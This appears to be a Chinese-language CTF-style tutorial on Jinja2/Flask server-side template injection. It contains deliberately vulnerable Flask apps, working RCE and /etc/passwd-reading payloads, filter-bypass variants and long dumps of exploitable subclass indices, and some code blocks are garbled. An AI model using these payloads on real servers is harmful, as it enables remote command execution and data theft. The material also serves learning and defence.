python SSTI注入(一)

基础知识学习

什么是SSTI注入

ssti服务端模板注入,ssti主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。本文着重对flask模板注入进行浅析。

from flask import Flask
from flask import request
from flask import config
from flask import render_template_string
app = Flask(__name__)

app.config['SECRET_KEY'] = "flag{SSTI_123456}"
@app.route('/')
def hello_world():
return 'Hello World!'

@app.errorhandler(404)
def page_not_found(e):
template = '''
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.args.get('404_url'))
return render_template_string(template), 404

if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True)

此时传参的变量为404_url,如果我们访问

?404_url={{1-1}}

页面将返回0。

{{}}

里,他将我们的代码进行了执行。服务器将我们的数据经过引擎解析的时候,进行了执行,模板注入与sql注入成因有点相似,都是信任了用户的输入,将不可靠的用户输入不经过滤直接进行了执行,用户插入了恶意代码同样也会执行。

直接将用户可控参数request.args.get('404_url')在模板中直接渲染并传回页面中,这种不正确的渲染方法会产生模板注入(SSTI)。

Jinja2渲染模板

简介

jinja2是Python的一个流行的模板引擎。Web模板系统将模板与特定数据源组合以呈现动态网页。

基本语法

0x01 {%%}

主要用来声明变量或用在条件语句或循环语句

注意条件和循环需要多一层 {%endif%} 或 {%endfor%}用作结尾

{% set c = 'Zh1z3ven' %}
{% if 1==1 %}Zh1z3ven{%endif%}
{% for i in [1, 2, 3] %}Zh1z3ven{%endfor%}
0x02 `{{}}`

将大括号内的表达式执行并输出结果到模板内

{{98-2}} # 96
0x03 `{##}`

注释

[],{},”

是Python中的内置变量。通过内置变量的一些属性或函数去访问当前Python环境中的对象继承树,可以从继承树爬到根对象类。利用__subclasses__()等函数爬向每一个Object,这样便可以利用当前Python环境执行任意代码。

模板引擎

首先我们先讲解下什么是模板引擎,为什么需要模板,模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。但是往往新的开发都会导致一些安全问题,虽然模板引擎会提供沙箱机制,但同样存在沙箱逃逸技术来绕过。

模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。

通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将赛进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。

后端渲染:浏览器会直接接收到经过服务器计算之后的呈现给用户的最终的HTML字符串,计算就是服务器后端经过解析服务器端的模板来完成的,后端渲染的好处是对前端浏览器的压力较小,主要任务在服务器端就已经完成。

前端渲染:前端渲染相反,是浏览器从服务器得到信息,可能是json等数据包封装的数据,也可能是html代码,他都是由浏览器前端来解析渲染成html的人们可视化的代码而呈现在用户面前,好处是对于服务器后端压力较小,主要渲染在用户的客户端完成。

让我们用例子来简析模板渲染。

<html>
<div>{$what}</div>
</html>

我们想要呈现在每个用户面前自己的名字。但是{$what}我们不知道用户名字是什么,用一些url或者cookie包含的信息,渲染到what变量里,呈现给用户的为

<html>
<div>张三</div>
</html>

当然这只是最简单的示例,一般来说,至少会提供分支,迭代。还有一些内置函数。

使用函数

在Python的ssti中,大部分是依靠基类->子类->危险函数的方式来利用ssti,接下来讲几个知识点。

  • __class__

万物皆对象,而class用于返回该对象所属的类,比如某个字符串,他的对象为字符串对象,而其所属的类为<class 'str'>

  • __bases__

以元组的形式返回一个类所直接继承的类。

  • __base__

以字符串返回一个类所直接继承的类。

  • __mro__

返回解析方法调用的顺序。

  • __subclasses__()

获取类的所有子类。

  • __init__

所有自带带类都包含init方法,便于利用他当跳板来调用globals

  • __globals__

function.__globals__,用于获取function所处空间下可使用的module、方法以及所有变量。
该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用globals属性访问全局的变量。该属性保存的是函数全局变量的字典引用。

__builtins__

__builtins__下有eval__import__等的函数,可以利用此来执行命令。

在看完上边这些自带方法、成员变量后,可能有点懵,接下来看看是如何利用这些方法以及成员变量达到我们想要的目的的。

在SSTI中,我们要做的无非就两个:

  • 执行命令
  • 获取文件内容

所以我们所做的一切实际上都是在往这两个结果靠拢。

例1:

for c in []._class_._base_.subclasses_()#通过内置变量访问类——>使用base输出类的父级——在通过subclasses()找到所有此父级的子级。

SSTI注入产生原因:

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route('/')
def test1():
name = request.args.get('name')

t = Template('''
<html>
<head>
<title>hwg</title>
</head>
<body>
<h1>Hello, %s !</h1>
</body>
</html>

'''% (name))

return t.render()

if __name__ == '__main__':
app.run()
###############################
<html>
<head>
<title>{{title}} - hwg</title>
</head>
<body>
<h1>Hello, {{user.name}}!</h1>
</body>
</html>
###########################
from flask import Flask
from flask import render_template

app = Flask(__name__)


@app.route('/')
@app.route('/index')
def index():
user = {
'name' : 'hwg',
'info' : 'I am hwg'
}
return render_template("index.html", title='Home', user=user)


if __name__ == '__main__':
app.run()

对比上下两种代码书写两种形式:在第一种中,name参数是我们可控的,name参数后面会被直接渲染并将结果待会页面回显,所以这时就有了ssti注入:
在第二种中:
在flask中常用的渲染方法为render_template()render_template_string()

当使用 render_template() 时,扩展名为 .html.htm.xml.xhtml 的模板中开启自动转义。

当使用 render_template_string() 时,字符串开启 自动转义。
分析一下,就是此时页面数据已经确定,并且渲染时将会被转义,即你输入的数据不会被当做指令执行,而是作为那两个花括号的一个内容进行渲染,可以看到render_template渲染的内容是index.html,而不是用户输入的数据。
所以ssti产生原因便是:
1.存在用户可控参数
2.用户输入参数直接被渲染,即

{{}}

可被带入代码中让jinja2模块识别并解析

flask——ssti环境实战:

from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string

app = Flask(__name__)
@app.route('/test',methods=['GET', 'POST'])
def test():
template = '''
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%sfrom flask import Flask, request
from jinja2 import Template


app = Flask(__name__)


@app.route('/')
def test1():
name = request.args.get('name')

t = Template('''
<html>
<head>
<title>Zh1z3ven</title>
</head>
<body>
<h1>Hello, %s !</h1>
</body>
</html>

'''% (name))

return t.render()


if __name__ == '__main__':
app.run(host='127.0.0.1', debug=True)</h3>
</div>
''' %(request.url)

return render_template_string(template)

if __name__ == '__main__':
app.debug = True
app.run()

漏洞使用思路

首先我们使用

"".__class__#这里的引号是为了引出父类任何数据结构都行包括[]''

获取类,此时会返回类是str
再使用bases或者mro获取到object基类(因为object是所有类的基(父)类)。

"".__class__.__bases__

接下来获取其所有子类:

"".__class__.__mro__[1].__subclasses__()

img我们只需要寻找可能执行命令或者可以读取文件的类就可以了,重点关注os/file这些关键字。

获取到subclasses后,初步看了一下没有能直接执行命令或者获取文件内容的,接下来使用init.globals来看看有没有os module或者其他的可以读写文件的。

{{"".__class__.__mro__[1].__subclasses__()[303].__init__.__globals__}}
#此时更换为花括号 因为是要执行命令了,而这个303是通过爆破得到的,爆破到具有os模块,OS模块是Python标准库中的一个用于访问操作系统功能的模块

最终payload:

{{"".__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}}
//此时就会回显用户名
img

CTF中的bypass

测试

我们如果想知道过滤了什么的时候,可以直接在

{{}}

中测试我们输入的内容,看看网页会不会回显

过滤引号

可以使用[],’’代替第一个双引号
第二个双引号的作用:获取字典内对应索引的value
这里介绍一种查看方法,在python中使用type(内容),可以查询内容的类性

type("".__class__.__mro__[1].__subclasses__()[300].__init__.__globals__)
img 此时我们可以知道 : 后面的数据类型需要的是dict这里我们可以使用request.args来绕过此处引号的过滤。

request.args是flask中一个存储着请求参数以及其值的字典,
使用方法:

{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[request.args.arg1]}}&arg1=os

此时即可绕过后面双引号的过滤
这里还有一种方法:
还有另外一种绕过引号的办法,即通过python自带函数来绕过引号,这里使用的是chr()。

{{().__class__.__bases__[0].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}

爆破subclasses中chr()函数在哪

{%set+chr=[].__class__.__bases__[0].__subclasses__()[77].__init__.__globals__.__builtins__.chr%}{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[chr(111)%2bchr(115)][chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)](chr(108)%2bchr(115)).read()}}

为什么要这样构造?:

{% ... %} for Statements ,可以实现for,if等语句,还支持set语法,可以给变量赋值

{%set chr=[].__class__.__bases__[0].__subclasses__()[77].__init__.__globals__.__builtins__.chr%}

先获取chr函数,赋值给chr,此时chr就拥有chr函数的功能了,然后接下来在后面拼接需要使用chr进行绕过的字符,如””

过滤中括号

回看最初的payload,过滤中括号对我们影响最大的是什么,前边两个中括号都是为了从数组中取值,而后续的中括号实际是不必要的,globals[“os”]可以替换为globals.os。

所以过滤了中括号实际上影响我们的只有从数组中取值,然而从数组中取值,而从数组中取值可以使用pop/getitem等数组自带方法。

不过还是建议用getitem,因为pop会破坏数组的结构。

a[0]与a.getitem(0)的效果是一样的,所以上述payload可以用此来绕过:

{{"".__class__.__mro__.__getitem__(1).__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}}

过滤关键字

如果没用过滤引号,使用反转,或者各种拼接绕过

{{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__snitliub__'[::-1]]['eval']('__import__("os").popen("ls").read()')}}

{{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__buil'+'tins__'[::-1]]['eval']('__import__("os").popen("ls").read()')}}

第二种绕过过滤关键字的办法即使用request对象:
flask获取参数方式:

request.form.get(“key”, type=str, default=None) 获取表单数据

request.args.get(“key”) 获取get请求参数

request.values.get(“key”) 获取所有参数

{"".__getattribute__(request.args.a)}&a=__class__

第三种是寻找其原生函数

过滤点

在python中,可用以下表示法可用于访问对象的属性

{{().__class__}}
{{()["__class__"]}}
{{()|attr("__class__")}}
{{getattr('',"__class__")}}

也就是说我们可以通过[]|attr()getattr()来绕过点

常用语句:

任意文件读取:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd', 'r').read() }}{% endif %}{% endfor %}

读取到class后所指向的可以被继承的函数小结

python3的
75 <class '_frozen_importlib._ModuleLock'> __builtins__ None
75 <class '_frozen_importlib._ModuleLock'> __import__ None
75 <class '_frozen_importlib._ModuleLock'> sys None
76 <class '_frozen_importlib._DummyModuleLock'> __builtins__ None
76 <class '_frozen_importlib._DummyModuleLock'> __import__ None
76 <class '_frozen_importlib._DummyModuleLock'> sys None
77 <class '_frozen_importlib._ModuleLockManager'> __builtins__ None
77 <class '_frozen_importlib._ModuleLockManager'> __import__ None
77 <class '_frozen_importlib._ModuleLockManager'> sys None
78 <class '_frozen_importlib._installed_safely'> __builtins__ None
78 <class '_frozen_importlib._installed_safely'> __import__ None
78 <class '_frozen_importlib._installed_safely'> sys None
79 <class '_frozen_importlib.ModuleSpec'> __builtins__ None
79 <class '_frozen_importlib.ModuleSpec'> __import__ None
79 <class '_frozen_importlib.ModuleSpec'> sys None
91 <class '_frozen_importlib_external.FileLoader'> __builtins__ None
91 <class '_frozen_importlib_external.FileLoader'> sys None
92 <class '_frozen_importlib_external._NamespacePath'> __builtins__ None
92 <class '_frozen_importlib_external._NamespacePath'> sys None
93 <class '_frozen_importlib_external._NamespaceLoader'> __builtins__ None
93 <class '_frozen_importlib_external._NamespaceLoader'> sys None
95 <class '_frozen_importlib_external.FileFinder'> __builtins__ None
95 <class '_frozen_importlib_external.FileFinder'> sys None
103 <class 'codecs.IncrementalEncoder'> __builtins__ None
103 <class 'codecs.IncrementalEncoder'> sys None
103 <class 'codecs.IncrementalEncoder'> open None
104 <class 'codecs.IncrementalDecoder'> __builtins__ None
104 <class 'codecs.IncrementalDecoder'> sys None
104 <class 'codecs.IncrementalDecoder'> open None
105 <class 'codecs.StreamReaderWriter'> __builtins__ None
105 <class 'codecs.StreamReaderWriter'> sys None
105 <class 'codecs.StreamReaderWriter'> open None
106 <class 'codecs.StreamRecoder'> __builtins__ None
106 <class 'codecs.StreamRecoder'> sys None
106 <class 'codecs.StreamRecoder'> open None
128 <class 'os._wrap_close'> __builtins__ None
128 <class 'os._wrap_close'> sys None
128 <class 'os._wrap_close'> open None
129 <class '_sitebuiltins.Quitter'> __builtins__ None
129 <class '_sitebuiltins.Quitter'> sys None
130 <class '_sitebuiltins._Printer'> __builtins__ None
130 <class '_sitebuiltins._Printer'> sys None
137 <class 'types.DynamicClassAttribute'> __builtins__ None
138 <class 'types._GeneratorWrapper'> __builtins__ None
139 <class 'warnings.WarningMessage'> __builtins__ None
139 <class 'warnings.WarningMessage'> sys None
140 <class 'warnings.catch_warnings'> __builtins__ None
140 <class 'warnings.catch_warnings'> sys None
167 <class 'reprlib.Repr'> __builtins__ None
174 <class 'functools.partialmethod'> __builtins__ None
176 <class 'contextlib._GeneratorContextManagerBase'> __builtins__ None
176 <class 'contextlib._GeneratorContextManagerBase'> sys None
177 <class 'contextlib._BaseExitStack'> __builtins__ None
177 <class 'contextlib._BaseExitStack'> sys None
----------3-----------
75 5 <class '_frozen_importlib._ModuleLock'> exec
75 5 <class '_frozen_importlib._ModuleLock'> eval
75 5 <class '_frozen_importlib._ModuleLock'> compile
75 5 <class '_frozen_importlib._ModuleLock'> __import__
75 5 <class '_frozen_importlib._ModuleLock'> open
76 5 <class '_frozen_importlib._DummyModuleLock'> exec
76 5 <class '_frozen_importlib._DummyModuleLock'> eval
76 5 <class '_frozen_importlib._DummyModuleLock'> compile
76 5 <class '_frozen_importlib._DummyModuleLock'> __import__
76 5 <class '_frozen_importlib._DummyModuleLock'> open
77 5 <class '_frozen_importlib._ModuleLockManager'> exec
77 5 <class '_frozen_importlib._ModuleLockManager'> eval
77 5 <class '_frozen_importlib._ModuleLockManager'> compile
77 5 <class '_frozen_importlib._ModuleLockManager'> __import__
77 5 <class '_frozen_importlib._ModuleLockManager'> open
78 5 <class '_frozen_importlib._installed_safely'> exec
78 5 <class '_frozen_importlib._installed_safely'> eval
78 5 <class '_frozen_importlib._installed_safely'> compile
78 5 <class '_frozen_importlib._installed_safely'> __import__
78 5 <class '_frozen_importlib._installed_safely'> open
79 5 <class '_frozen_importlib.ModuleSpec'> exec
79 5 <class '_frozen_importlib.ModuleSpec'> eval
79 5 <class '_frozen_importlib.ModuleSpec'> compile
79 5 <class '_frozen_importlib.ModuleSpec'> __import__
79 5 <class '_frozen_importlib.ModuleSpec'> open
91 5 <class '_frozen_importlib_external.FileLoader'> exec
91 5 <class '_frozen_importlib_external.FileLoader'> eval
91 5 <class '_frozen_importlib_external.FileLoader'> compile
91 5 <class '_frozen_importlib_external.FileLoader'> __import__
91 5 <class '_frozen_importlib_external.FileLoader'> open
92 5 <class '_frozen_importlib_external._NamespacePath'> exec
92 5 <class '_frozen_importlib_external._NamespacePath'> eval
92 5 <class '_frozen_importlib_external._NamespacePath'> compile
92 5 <class '_frozen_importlib_external._NamespacePath'> __import__
92 5 <class '_frozen_importlib_external._NamespacePath'> open
93 5 <class '_frozen_importlib_external._NamespaceLoader'> exec
93 5 <class '_frozen_importlib_external._NamespaceLoader'> eval
93 5 <class '_frozen_importlib_external._NamespaceLoader'> compile
93 5 <class '_frozen_importlib_external._NamespaceLoader'> __import__
93 5 <class '_frozen_importlib_external._NamespaceLoader'> open
95 5 <class '_frozen_importlib_external.FileFinder'> exec
95 5 <class '_frozen_importlib_external.FileFinder'> eval
95 5 <class '_frozen_importlib_external.FileFinder'> compile
95 5 <class '_frozen_importlib_external.FileFinder'> __import__
95 5 <class '_frozen_importlib_external.FileFinder'> open
103 7 <class 'codecs.IncrementalEncoder'> exec
103 7 <class 'codecs.IncrementalEncoder'> eval
103 7 <class 'codecs.IncrementalEncoder'> compile
103 7 <class 'codecs.IncrementalEncoder'> __import__
103 7 <class 'codecs.IncrementalEncoder'> open
103 56 <class 'codecs.IncrementalEncoder'> open
104 7 <class 'codecs.IncrementalDecoder'> exec
104 7 <class 'codecs.IncrementalDecoder'> eval
104 7 <class 'codecs.IncrementalDecoder'> compile
104 7 <class 'codecs.IncrementalDecoder'> __import__
104 7 <class 'codecs.IncrementalDecoder'> open
104 56 <class 'codecs.IncrementalDecoder'> open
105 7 <class 'codecs.StreamReaderWriter'> exec
105 7 <class 'codecs.StreamReaderWriter'> eval
105 7 <class 'codecs.StreamReaderWriter'> compile
105 7 <class 'codecs.StreamReaderWriter'> __import__
105 7 <class 'codecs.StreamReaderWriter'> open
105 56 <class 'codecs.StreamReaderWriter'> open
106 7 <class 'codecs.StreamRecoder'> exec
106 7 <class 'codecs.StreamRecoder'> eval
106 7 <class 'codecs.StreamRecoder'> compile
106 7 <class 'codecs.StreamRecoder'> __import__
106 7 <class 'codecs.StreamRecoder'> open
106 56 <class 'codecs.StreamRecoder'> open
128 1 <class 'os._wrap_close'> exec
128 1 <class 'os._wrap_close'> file
128 1 <class 'os._wrap_close'> open
128 7 <class 'os._wrap_close'> exec
128 7 <class 'os._wrap_close'> eval
128 7 <class 'os._wrap_close'> compile
128 7 <class 'os._wrap_close'> __import__
128 7 <class 'os._wrap_close'> open
128 11 <class 'os._wrap_close'> open
129 7 <class '_sitebuiltins.Quitter'> exec
129 7 <class '_sitebuiltins.Quitter'> eval
129 7 <class '_sitebuiltins.Quitter'> compile
129 7 <class '_sitebuiltins.Quitter'> __import__
129 7 <class '_sitebuiltins.Quitter'> open
130 7 <class '_sitebuiltins._Printer'> exec
130 7 <class '_sitebuiltins._Printer'> eval
130 7 <class '_sitebuiltins._Printer'> compile
130 7 <class '_sitebuiltins._Printer'> __import__
130 7 <class '_sitebuiltins._Printer'> open
137 7 <class 'types.DynamicClassAttribute'> exec
137 7 <class 'types.DynamicClassAttribute'> eval
137 7 <class 'types.DynamicClassAttribute'> compile
137 7 <class 'types.DynamicClassAttribute'> __import__
137 7 <class 'types.DynamicClassAttribute'> open
138 7 <class 'types._GeneratorWrapper'> exec
138 7 <class 'types._GeneratorWrapper'> eval
138 7 <class 'types._GeneratorWrapper'> compile
138 7 <class 'types._GeneratorWrapper'> __import__
138 7 <class 'types._GeneratorWrapper'> open
139 7 <class 'warnings.WarningMessage'> exec
139 7 <class 'warnings.WarningMessage'> eval
139 7 <class 'warnings.WarningMessage'> compile
139 7 <class 'warnings.WarningMessage'> __import__
139 7 <class 'warnings.WarningMessage'> open
140 7 <class 'warnings.catch_warnings'> exec
140 7 <class 'warnings.catch_warnings'> eval
140 7 <class 'warnings.catch_warnings'> compile
140 7 <class 'warnings.catch_warnings'> __import__
140 7 <class 'warnings.catch_warnings'> open
167 7 <class 'reprlib.Repr'> exec
167 7 <class 'reprlib.Repr'> eval
167 7 <class 'reprlib.Repr'> compile
167 7 <class 'reprlib.Repr'> __import__
167 7 <class 'reprlib.Repr'> open
174 7 <class 'functools.partialmethod'> exec
174 7 <class 'functools.partialmethod'> eval
174 7 <class 'functools.partialmethod'> compile
174 7 <class 'functools.partialmethod'> __import__
174 7 <class 'functools.partialmethod'> open
176 7 <class 'contextlib._GeneratorContextManagerBase'> exec
176 7 <class 'contextlib._GeneratorContextManagerBase'> eval
176 7 <class 'contextlib._GeneratorContextManagerBase'> compile
176 7 <class 'contextlib._GeneratorContextManagerBase'> __import__
176 7 <class 'contextlib._GeneratorContextManagerBase'> open
177 7 <class 'contextlib._BaseExitStack'> exec
177 7 <class 'contextlib._BaseExitStack'> eval
177 7 <class 'contextlib._BaseExitStack'> compile
177 7 <class 'contextlib._BaseExitStack'> __import__
177 7 <class 'contextlib._BaseExitStack'> open
----------4-----------
140 exec
140 eval
140 compile
140 __import__
140 open
筛选出来的模块还是很多,每个分块中,不用的部分代表利用不同的方式,为了更方便的利用进一步筛选具有更直接利用方式的类,关注再命令执行和读写上

----------2-----------
103 <class 'codecs.IncrementalEncoder'> open None
104 <class 'codecs.IncrementalDecoder'> open None
105 <class 'codecs.StreamReaderWriter'> open None
106 <class 'codecs.StreamRecoder'> open None
128 <class 'os._wrap_close'> open None
----------3-----------
75 5 <class '_frozen_importlib._ModuleLock'> open
75 5 <class '_frozen_importlib._ModuleLock'> exec
76 5 <class '_frozen_importlib._DummyModuleLock'> open
76 5 <class '_frozen_importlib._DummyModuleLock'> exec
77 5 <class '_frozen_importlib._ModuleLockManager'> open
77 5 <class '_frozen_importlib._ModuleLockManager'> exec
78 5 <class '_frozen_importlib._installed_safely'> open
78 5 <class '_frozen_importlib._installed_safely'> exec
79 5 <class '_frozen_importlib.ModuleSpec'> open
79 5 <class '_frozen_importlib.ModuleSpec'> exec
91 5 <class '_frozen_importlib_external.FileLoader'> open
91 5 <class '_frozen_importlib_external.FileLoader'> exec
92 5 <class '_frozen_importlib_external._NamespacePath'> open
92 5 <class '_frozen_importlib_external._NamespacePath'> exec
93 5 <class '_frozen_importlib_external._NamespaceLoader'> open
93 5 <class '_frozen_importlib_external._NamespaceLoader'> exec
95 5 <class '_frozen_importlib_external.FileFinder'> open
95 5 <class '_frozen_importlib_external.FileFinder'> exec
103 7 <class 'codecs.IncrementalEncoder'> open
103 7 <class 'codecs.IncrementalEncoder'> exec
103 56 <class 'codecs.IncrementalEncoder'> open
104 7 <class 'codecs.IncrementalDecoder'> open
104 7 <class 'codecs.IncrementalDecoder'> exec
104 56 <class 'codecs.IncrementalDecoder'> open
105 7 <class 'codecs.StreamReaderWriter'> open
105 7 <class 'codecs.StreamReaderWriter'> exec
105 56 <class 'codecs.StreamReaderWriter'> open
106 7 <class 'codecs.StreamRecoder'> open
106 7 <class 'codecs.StreamRecoder'> exec
106 56 <class 'codecs.StreamRecoder'> open
128 1 <class 'os._wrap_close'> open
128 1 <class 'os._wrap_close'> exec
128 7 <class 'os._wrap_close'> open
128 7 <class 'os._wrap_close'> exec
128 11 <class 'os._wrap_close'> open
129 7 <class '_sitebuiltins.Quitter'> open
129 7 <class '_sitebuiltins.Quitter'> exec
130 7 <class '_sitebuiltins._Printer'> open
130 7 <class '_sitebuiltins._Printer'> exec
137 7 <class 'types.DynamicClassAttribute'> open
137 7 <class 'types.DynamicClassAttribute'> exec
138 7 <class 'types._GeneratorWrapper'> open
138 7 <class 'types._GeneratorWrapper'> exec
139 7 <class 'warnings.WarningMessage'> open
139 7 <class 'warnings.WarningMessage'> exec
140 7 <class 'warnings.catch_warnings'> open
140 7 <class 'warnings.catch_warnings'> exec
167 7 <class 'reprlib.Repr'> open
167 7 <class 'reprlib.Repr'> exec
174 7 <class 'functools.partialmethod'> open
174 7 <class 'functools.partialmethod'> exec
176 7 <class 'contextlib._GeneratorContextManagerBase'> open
176 7 <class 'contextlib._GeneratorContextManagerBase'> exec
177 7 <class 'contextlib._BaseExitStack'> open
177 7 <class 'contextlib._BaseExitStack'> exec
----------4-----------
140 open
140 exec

python2

----------1-----------
(40, 'file')
----------2-----------
(59, <class 'warnings.WarningMessage'>, 'linecache', ['os', 'sys', '__builtins__'])
(59, <class 'warnings.WarningMessage'>, '__builtins__', None)
(59, <class 'warnings.WarningMessage'>, 'sys', None)
(59, <class 'warnings.WarningMessage'>, 'types', ['__builtins__'])
(60, <class 'warnings.catch_warnings'>, 'linecache', ['os', 'sys', '__builtins__'])
(60, <class 'warnings.catch_warnings'>, '__builtins__', None)
(60, <class 'warnings.catch_warnings'>, 'sys', None)
(60, <class 'warnings.catch_warnings'>, 'types', ['__builtins__'])
(61, <class '_weakrefset._IterationGuard'>, '__builtins__', None)
(62, <class '_weakrefset.WeakSet'>, '__builtins__', None)
(72, <class 'site._Printer'>, '__builtins__', None)
(72, <class 'site._Printer'>, 'traceback', ['sys', '__builtins__'])
(72, <class 'site._Printer'>, 'os', ['sys', '__builtins__', 'open'])
(72, <class 'site._Printer'>, 'sys', None)
(77, <class 'site.Quitter'>, '__builtins__', None)
(77, <class 'site.Quitter'>, 'traceback', ['sys', '__builtins__'])
(77, <class 'site.Quitter'>, 'os', ['sys', '__builtins__', 'open'])
(77, <class 'site.Quitter'>, 'sys', None)
(78, <class 'codecs.IncrementalEncoder'>, '__builtins__', None)
(78, <class 'codecs.IncrementalEncoder'>, 'sys', None)
(78, <class 'codecs.IncrementalEncoder'>, 'open', None)
(79, <class 'codecs.IncrementalDecoder'>, '__builtins__', None)
(79, <class 'codecs.IncrementalDecoder'>, 'sys', None)
(79, <class 'codecs.IncrementalDecoder'>, 'open', None)
----------3-----------
(59, 13, <class 'warnings.WarningMessage'>, '__import__')
(59, 13, <class 'warnings.WarningMessage'>, 'file')
(59, 13, <class 'warnings.WarningMessage'>, 'compile')
(59, 13, <class 'warnings.WarningMessage'>, 'eval')
(59, 13, <class 'warnings.WarningMessage'>, 'open')
(59, 13, <class 'warnings.WarningMessage'>, 'execfile')
(60, 13, <class 'warnings.catch_warnings'>, '__import__')
(60, 13, <class 'warnings.catch_warnings'>, 'file')
(60, 13, <class 'warnings.catch_warnings'>, 'compile')
(60, 13, <class 'warnings.catch_warnings'>, 'eval')
(60, 13, <class 'warnings.catch_warnings'>, 'open')
(60, 13, <class 'warnings.catch_warnings'>, 'execfile')
(61, 1, <class '_weakrefset._IterationGuard'>, '__import__')
(61, 1, <class '_weakrefset._IterationGuard'>, 'file')
(61, 1, <class '_weakrefset._IterationGuard'>, 'compile')
(61, 1, <class '_weakrefset._IterationGuard'>, 'eval')
(61, 1, <class '_weakrefset._IterationGuard'>, 'open')
(61, 1, <class '_weakrefset._IterationGuard'>, 'execfile')
(62, 1, <class '_weakrefset.WeakSet'>, '__import__')
(62, 1, <class '_weakrefset.WeakSet'>, 'file')
(62, 1, <class '_weakrefset.WeakSet'>, 'compile')
(62, 1, <class '_weakrefset.WeakSet'>, 'eval')
(62, 1, <class '_weakrefset.WeakSet'>, 'open')
(62, 1, <class '_weakrefset.WeakSet'>, 'execfile')
(72, 20, <class 'site._Printer'>, 'file')
(72, 20, <class 'site._Printer'>, 'exec')
(72, 23, <class 'site._Printer'>, '__import__')
(72, 23, <class 'site._Printer'>, 'file')
(72, 23, <class 'site._Printer'>, 'compile')
(72, 23, <class 'site._Printer'>, 'eval')
(72, 23, <class 'site._Printer'>, 'open')
(72, 23, <class 'site._Printer'>, 'execfile')
(77, 20, <class 'site.Quitter'>, 'file')
(77, 20, <class 'site.Quitter'>, 'exec')
(77, 23, <class 'site.Quitter'>, '__import__')
(77, 23, <class 'site.Quitter'>, 'file')
(77, 23, <class 'site.Quitter'>, 'compile')
(77, 23, <class 'site.Quitter'>, 'eval')
(77, 23, <class 'site.Quitter'>, 'open')
(77, 23, <class 'site.Quitter'>, 'execfile')
(78, 21, <class 'codecs.IncrementalEncoder'>, 'open')
(78, 23, <class 'codecs.IncrementalEncoder'>, '__import__')
(78, 23, <class 'codecs.IncrementalEncoder'>, 'file')
(78, 23, <class 'codecs.IncrementalEncoder'>, 'compile')
(78, 23, <class 'codecs.IncrementalEncoder'>, 'eval')
(78, 23, <class 'codecs.IncrementalEncoder'>, 'open')
(78, 23, <class 'codecs.IncrementalEncoder'>, 'execfile')
(79, 21, <class 'codecs.IncrementalDecoder'>, 'open')
(79, 23, <class 'codecs.IncrementalDecoder'>, '__import__')
(79, 23, <class 'codecs.IncrementalDecoder'>, 'file')
(79, 23, <class 'codecs.IncrementalDecoder'>, 'compile')
(79, 23, <class 'codecs.IncrementalDecoder'>, 'eval')
(79, 23, <class 'codecs.IncrementalDecoder'>, 'open')
(79, 23, <class 'codecs.IncrementalDecoder'>, 'execfile')
----------4-----------
(60, '__import__')
(60, 'file')
(60, 'repr')
(60, 'compile')
(60, 'eval')
(60, 'open')
(60, 'execfile')
进一步获取可以直接执行命令或者读取文件的类

----------1-----------
(40, 'file')
----------2-----------
(59, <class 'warnings.WarningMessage'>, 'linecache', ['os', 'sys', '__builtins__'])
(59, <class 'warnings.WarningMessage'>, 'types', ['__builtins__'])
(60, <class 'warnings.catch_warnings'>, 'linecache', ['os', 'sys', '__builtins__'])
(60, <class 'warnings.catch_warnings'>, 'types', ['__builtins__'])
(72, <class 'site._Printer'>, 'traceback', ['sys', '__builtins__'])
(72, <class 'site._Printer'>, 'os', ['sys', '__builtins__', 'open'])
(77, <class 'site.Quitter'>, 'traceback', ['sys', '__builtins__'])
(77, <class 'site.Quitter'>, 'os', ['sys', '__builtins__', 'open'])
(78, <class 'codecs.IncrementalEncoder'>, 'open', None)
(79, <class 'codecs.IncrementalDecoder'>, 'open', None)
----------3-----------
(59, 13, <class 'warnings.WarningMessage'>, 'file')
(59, 13, <class 'warnings.WarningMessage'>, 'eval')
(59, 13, <class 'warnings.WarningMessage'>, 'open')
(59, 13, <class 'warnings.WarningMessage'>, 'execfile')
(60, 13, <class 'warnings.catch_warnings'>, 'file')
(60, 13, <class 'warnings.catch_warnings'>, 'eval')
(60, 13, <class 'warnings.catch_warnings'>, 'open')
(60, 13, <class 'warnings.catch_warnings'>, 'execfile')
(61, 1, <class '_weakrefset._IterationGuard'>, 'file')
(61, 1, <class '_weakrefset._IterationGuard'>, 'eval')
(61, 1, <class '_weakrefset._IterationGuard'>, 'open')
(61, 1, <class '_weakrefset._IterationGuard'>, 'execfile')
(62, 1, <class '_weakrefset.WeakSet'>, 'file')
(62, 1, <class '_weakrefset.WeakSet'>, 'eval')
(62, 1, <class '_weakrefset.WeakSet'>, 'open')
(62, 1, <class '_weakrefset.WeakSet'>, 'execfile')
(72, 20, <class 'site._Printer'>, 'file')
(72, 20, <class 'site._Printer'>, 'exec')
